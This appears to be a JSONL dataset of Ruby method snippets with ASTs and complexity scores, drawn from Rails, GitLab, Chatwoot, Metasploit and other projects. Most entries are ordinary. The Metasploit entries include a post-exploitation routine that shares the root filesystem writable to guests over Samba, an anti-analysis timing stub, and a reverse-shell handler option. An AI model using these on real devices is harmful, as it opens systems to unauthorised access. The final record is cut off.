{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount.rb","start_line":33,"raw_source":"def diff_gettickcount\n              var_name_1 = \"tickcount_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}\"\n              var_name_2 = \"tickcount_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}\"\n\n              %Q|\n              int GetTickCount();\n              void stub() {\n                int #{var_name_1} = GetTickCount();\n                int #{var_name_2} = GetTickCount();\n                if (#{var_name_2} - #{var_name_1} > 100) {\n                  #{var_name_1} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};\n                }\n              }|\n            end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_gettickcount\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"var_name_1\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"tickcount_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Obfuscation\"]},\"CRandomizer\"]},\"Utility\"]},\"rand_int\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_name_2\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"tickcount_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Obfuscation\"]},\"CRandomizer\"]},\"Utility\"]},\"rand_int\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"              int GetTickCount();\\n\"]},{\"type\":\"str\",\"children\":[\"              void stub() {\\n\"]},{\"type\":\"str\",\"children\":[\"                int \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_name_1\"]}]},{\"type\":\"str\",\"children\":[\" = GetTickCount();\\n\"]},{\"type\":\"str\",\"children\":[\"                int \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_name_2\"]}]},{\"type\":\"str\",\"children\":[\" = GetTickCount();\\n\"]},{\"type\":\"str\",\"children\":[\"                if (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_name_2\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_name_1\"]}]},{\"type\":\"str\",\"children\":[\" > 100) {\\n\"]},{\"type\":\"str\",\"children\":[\"                  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_name_1\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Obfuscation\"]},\"CRandomizer\"]},\"Utility\"]},\"rand_int\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\"                }\\n\"]},{\"type\":\"str\",\"children\":[\"              }\"]}]}]}]}","id":"e17a040d-f16e-4e7f-9a68-135124f492aa"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/notifications_controller.rb","start_line":75,"raw_source":"def set_current_page\n    @current_page = params[:page] || 1\n  end","complexity_score":4.68,"ast_json":"{\"type\":\"def\",\"children\":[\"set_current_page\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@current_page\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]},{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"67cf6b17-579d-4ef3-b721-ffa4fc2c42e0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/handler/reverse_tcp_all_ports.rb","start_line":37,"raw_source":"def initialize(info = {})\n    super\n\n    register_options(\n      [\n        OptPort.new('LPORT', [true, 'The starting port number to connect back on', 1])\n      ], Msf::Handler::ReverseTcpAllPorts)\n  end","complexity_score":3.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"LPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The starting port number to connect back on\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"ReverseTcpAllPorts\"]}]}]}]}","id":"ea2ec0fe-16c1-489c-8de5-dd39ace7561a"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/rate_limit_checker.rb","start_line":20,"raw_source":"def initialize(user = nil)\n    @user = user\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}","id":"f9352514-1e41-4923-ad72-42d90bdb0d49"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/concerns/api/articles_controller.rb","start_line":48,"raw_source":"def show_by_slug\n      @article = Article.published.from_subforem\n        .select(SHOW_ATTRIBUTES_FOR_SERIALIZATION)\n        .find_by!(path: \"/#{params[:username]}/#{params[:slug]}\")\n        .decorate\n\n      set_surrogate_key_header @article.record_key\n      render \"show\"\n    end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"show_by_slug\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@article\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"published\"]},\"from_subforem\"]},\"select\",{\"type\":\"const\",\"children\":[null,\"SHOW_ATTRIBUTES_FOR_SERIALIZATION\"]}]},\"find_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"slug\"]}]}]}]}]}]}]},\"decorate\"]}]},{\"type\":\"send\",\"children\":[null,\"set_surrogate_key_header\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article\"]},\"record_key\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"show\"]}]}]}]}","id":"9915fd82-8e56-4d8b-95d4-287de6bbba8a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/tree_entry_presenter.rb","start_line":11,"raw_source":"def web_path\n    Gitlab::Routing.url_helpers.project_tree_path(tree.repository.project, ref_qualified_path,\n      ref_type: tree.ref_type)\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"web_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Routing\"]},\"url_helpers\"]},\"project_tree_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tree\"]},\"repository\"]},\"project\"]},{\"type\":\"send\",\"children\":[null,\"ref_qualified_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tree\"]},\"ref_type\"]}]}]}]}]}","id":"bb00e388-7e01-4d0e-a3a3-69b7c11b1430"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/webhooks/lib/open_project/webhooks/event_resources/base.rb","start_line":26,"raw_source":"def prefix_key\n        name.demodulize.underscore\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"prefix_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"demodulize\"]},\"underscore\"]}]}","id":"583dfc4f-2562-49d7-936a-faec5b8dc597"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/busybox/smb_share_root.rb","start_line":41,"raw_source":"def copy_smb_conf(dir)\n    cmd_exec_delay(\"rm -f #{dir}smb.conf\")\n    cmd_exec_delay(\"cp -f /var/samba/smb.conf #{dir}smb.conf\")\n    cmd_exec_delay(\"echo -e '[rootdir]\\ncomment = rootdir\\npath = /\\nbrowseable = yes\\nwriteable = yes\\nguest ok = yes\\n' >> #{dir}smb.conf\")\n    cmd_exec_delay('killall smbd')\n    cmd_exec_delay(\"smbd -D -s #{dir}smb.conf\")\n    cmd_exec_delay(\"smbd -D -s=#{dir}smb.conf\") # Uses equal just in case\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_smb_conf\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec_delay\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"rm -f \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"smb.conf\"]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec_delay\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cp -f /var/samba/smb.conf \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"smb.conf\"]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec_delay\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo -e '[rootdir]\\ncomment = rootdir\\npath = /\\nbrowseable = yes\\nwriteable = yes\\nguest ok = yes\\n' >> \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"smb.conf\"]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec_delay\",{\"type\":\"str\",\"children\":[\"killall smbd\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec_delay\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"smbd -D -s \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"smb.conf\"]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec_delay\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"smbd -D -s=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"smb.conf\"]}]}]}]}]}","id":"3b70e80f-bcee-4076-bda9-7e935194f3bc"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/testing/integration.rb","start_line":133,"raw_source":"def initialize(app)\n        super()\n        @app = app\n\n        reset!\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@app\",{\"type\":\"lvar\",\"children\":[\"app\"]}]},{\"type\":\"send\",\"children\":[null,\"reset!\"]}]}]}","id":"36bdee82-65ed-4090-a26d-a8abd55c89da"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/kerb_superseded_by_user.rb","start_line":56,"raw_source":"def decode_asn1(input)\n            seq_values = input.value\n            self.principal_name = decode_principal_name(seq_values[0])\n            self.realm = decode_realm(seq_values[1])\n          end","complexity_score":8.75,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_asn1\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"seq_values\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"principal_name=\",{\"type\":\"send\",\"children\":[null,\"decode_principal_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seq_values\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"realm=\",{\"type\":\"send\",\"children\":[null,\"decode_realm\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seq_values\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"0a65939c-5b12-44bc-93ad-42fd628bb45a"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/portals_controller.rb","start_line":39,"raw_source":"def archive\n    @portal.update(archive: true)\n    head :ok\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"archive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@portal\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archive\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"8dee22cd-f1ee-4a84-8b12-14a3b209d354"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb","start_line":502,"raw_source":"def test_should_raise_exception_for_destroying_mismatching_records\n    assert_no_difference [\"Person.count\", \"Reader.count\"] do\n      assert_raise(ActiveRecord::AssociationTypeMismatch) { posts(:welcome).people.destroy(posts(:thinking)) }\n    end\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_raise_exception_for_destroying_mismatching_records\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_difference\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Person.count\"]},{\"type\":\"str\",\"children\":[\"Reader.count\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"AssociationTypeMismatch\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"welcome\"]}]},\"people\"]},\"destroy\",{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"thinking\"]}]}]}]}]}]}","id":"a7330bfd-0a82-4785-8ca3-aac9ed6de0f4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/dirty_test.rb","start_line":23,"raw_source":"def test_attribute_changes\n    # New record - no changes.\n    pirate = Pirate.new\n    assert_equal false, pirate.catchphrase_changed?\n    assert_equal false, pirate.non_validated_parrot_id_changed?\n\n    # Change catchphrase.\n    pirate.catchphrase = \"arrr\"\n    assert_predicate pirate, :catchphrase_changed?\n    assert_nil pirate.catchphrase_was\n    assert_equal [nil, \"arrr\"], pirate.catchphrase_change\n\n    # Saved - no changes.\n    pirate.save!\n    assert_not_predicate pirate, :catchphrase_changed?\n    assert_nil pirate.catchphrase_change\n\n    # Same value - no changes.\n    pirate.catchphrase = \"arrr\"\n    assert_not_predicate pirate, :catchphrase_changed?\n    assert_nil pirate.catchphrase_change\n  end","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_attribute_changes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pirate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pirate\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"catchphrase_changed?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"non_validated_parrot_id_changed?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"catchphrase=\",{\"type\":\"str\",\"children\":[\"arrr\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"pirate\"]},{\"type\":\"sym\",\"children\":[\"catchphrase_changed?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"catchphrase_was\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"arrr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"catchphrase_change\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"pirate\"]},{\"type\":\"sym\",\"children\":[\"catchphrase_changed?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"catchphrase_change\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"catchphrase=\",{\"type\":\"str\",\"children\":[\"arrr\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"pirate\"]},{\"type\":\"sym\",\"children\":[\"catchphrase_changed?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"catchphrase_change\"]}]}]}]}","id":"019d3698-dbcd-4f08-b8af-dde0f5ddf1ad"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/top_topic.rb","start_line":62,"raw_source":"def self.update_counts_and_compute_scores_for(period)\n    sort_orders.each { |sort| TopTopic.public_send(\"update_#{sort}_count_for\", period) }\n    compute_top_score_for(period)\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update_counts_and_compute_scores_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"period\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_orders\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sort\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopTopic\"]},\"public_send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"update_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort\"]}]},{\"type\":\"str\",\"children\":[\"_count_for\"]}]},{\"type\":\"lvar\",\"children\":[\"period\"]}]}]},{\"type\":\"send\",\"children\":[null,\"compute_top_score_for\",{\"type\":\"lvar\",\"children\":[\"period\"]}]}]}]}","id":"ac9bad32-018b-45e7-8419-139fde1b209e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/match/lib/match/utils.rb","start_line":74,"raw_source":"def self.is_cert_valid?(cer_certificate_path)\n      cert = OpenSSL::X509::Certificate.new(File.binread(cer_certificate_path))\n      now = Time.now.utc\n      return (now <=> cert.not_after) == -1\n    end","complexity_score":10.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"is_cert_valid?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cer_certificate_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"X509\"]},\"Certificate\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"binread\",{\"type\":\"lvar\",\"children\":[\"cer_certificate_path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"now\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"now\"]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cert\"]},\"not_after\"]}]}]},\"==\",{\"type\":\"int\",\"children\":[-1]}]}]}]}]}","id":"aef52b77-d1da-41c7-9bd4-2876f81a6b7f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb","start_line":270,"raw_source":"def index_options(table_name)\n          index_options = as_options(index).merge(conditional_options)\n\n          # legacy reference index names are used on versions 6.0 and earlier\n          return index_options if options[:_uses_legacy_reference_index_name]\n\n          index_options[:name] ||= polymorphic_index_name(table_name) if polymorphic\n          index_options\n        end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"index_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index_options\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"as_options\",{\"type\":\"send\",\"children\":[null,\"index\"]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"conditional_options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"_uses_legacy_reference_index_name\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_options\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"polymorphic\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"polymorphic_index_name\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"index_options\"]}]}]}","id":"67327f08-6d27-4f9a-a93e-c762ec22c1be"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_ae_namespace.rb","start_line":34,"raw_source":"def self.lookup_by_fqname(fqname, include_classes = true)\n    return nil if fqname.blank?\n\n    dname, *partial = split_fqname(fqname)\n    domain_query = MiqAeDomain.unscoped.where(MiqAeDomain.arel_table[:name].lower.eq(dname.downcase)).where(:domain_id => nil)\n    return domain_query.first if partial.empty?\n\n    domain_id = domain_query.select(:id)\n    query = include_classes ? includes(:ae_classes) : all\n    query.find_by(:domain_id => domain_id, :lower_relative_path => partial.join(\"/\").downcase)\n  end","complexity_score":32.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"lookup_by_fqname\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fqname\"]},{\"type\":\"optarg\",\"children\":[\"include_classes\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fqname\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dname\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"partial\"]}]}]},{\"type\":\"send\",\"children\":[null,\"split_fqname\",{\"type\":\"lvar\",\"children\":[\"fqname\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"domain_query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqAeDomain\"]},\"unscoped\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqAeDomain\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"lower\"]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dname\"]},\"downcase\"]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partial\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain_query\"]},\"first\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"domain_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain_query\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_classes\"]},{\"type\":\"send\",\"children\":[null,\"includes\",{\"type\":\"sym\",\"children\":[\"ae_classes\"]}]},{\"type\":\"send\",\"children\":[null,\"all\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain_id\"]},{\"type\":\"lvar\",\"children\":[\"domain_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lower_relative_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partial\"]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"downcase\"]}]}]}]}]}]}","id":"f75565e7-32e3-45a7-9a43-0e1988980776"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/output.rb","start_line":253,"raw_source":"def configure(conf)\n        bufconf = CompatOutputUtils.buffer_section(conf)\n        config_style = (bufconf ? :v1 : :v0)\n        if config_style == :v0\n          buf_params = {\n            \"flush_mode\" => \"interval\",\n            \"retry_type\" => \"exponential_backoff\",\n          }\n          BUFFER_PARAMS.each do |older, newer|\n            next unless newer\n            if conf.has_key?(older)\n              if older == 'buffer_queue_full_action' && conf[older] == 'exception'\n                buf_params[newer] = 'throw_exception'\n              else\n                buf_params[newer] = conf[older]\n              end\n            end\n          end\n\n          conf.elements << Fluent::Config::Element.new('buffer', '', buf_params, [])\n        end\n\n        